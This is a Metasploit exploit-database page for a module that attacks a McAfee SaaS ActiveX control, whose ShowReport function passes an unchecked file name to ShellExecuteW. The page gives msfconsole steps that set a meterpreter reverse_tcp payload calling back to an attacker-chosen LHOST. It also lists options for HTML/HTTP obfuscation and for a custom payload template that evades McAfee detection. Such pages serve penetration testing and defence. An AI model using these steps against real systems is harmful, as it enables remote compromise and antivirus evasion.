McAfee SaaS MyCioScan ShowReport Remote Command Execution | Metasploit Exploit Database (DB)

McAfee SaaS MyCioScan ShowReport Remote Command Execution

This module exploits a vulnerability found in McAfee Security-as-a-Service. The ShowReport() function (located in the myCIOScn.dll ActiveX component) fails to check the FileName argument, and passes it on to a ShellExecuteW() function, therefore allows any malicious attacker to execute any process that's on the local system. However, if the victim machine is connected to a remote share ( or something similiar), then it's also possible to execute arbitrary code. Please note that a custom template is required for the payload, because the default Metasploit template is detectable by McAfee -- any Windows binary, such as calc.exe or notepad.exe, should bypass McAfee fine.

Search Other Modules


Exploit Rank

  • Normal

Exploit Authors

  • rgod < >
  • sinn3r < sinn3r [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Internet Explorer (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/mcafee_showreport_exec
msf exploit(mcafee_showreport_exec) > show payloads
msf exploit(mcafee_showreport_exec) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(mcafee_showreport_exec) > set LHOST [MY IP ADDRESS]
msf exploit(mcafee_showreport_exec) > set TEMPLATE [PATH]
msf exploit(mcafee_showreport_exec) > exploit


Exploit Module Options

FILENAME The file name. (default: msf.html)
SHARENAME The name of the top-level share. (default: files)
SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The daemon port to listen on (do not change) (default: 80)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
TEMPLATE A custom template for the payload in order to bypass McAfee (default: )
URIPATH The URI to use (default: /)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EXE::Custom Use custom exe instead of automatically generating a payload exe
EXE::FallBack Use the default template in case the specified one is missing
EXE::Inject Set to preserve the original EXE function
EXE::OldMethod Set to use the substitution EXE generation method.
EXE::Path The directory in which to look for the executable template
EXE::Template The executable template file name.
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
HTML::base64 Enable HTML obfuscation via an embeded base64 html object (IE not supported) (accepted: none, plain, single_pad, double_pad, random_space_injection)
HTML::javascript::escape Enable HTML obfuscation via HTML escaping (number of iterations)
HTML::unicode Enable HTTP obfuscation via unicode (accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
HTTP::chunked Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression Enable compression of HTTP responses via content encoding (accepted: none, gzip, deflate)
HTTP::header_folding Enable folding of HTTP headers
HTTP::junk_headers Enable insertion of random junk HTTP headers
HTTP::server_name Configures the Server header of all outgoing replies
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)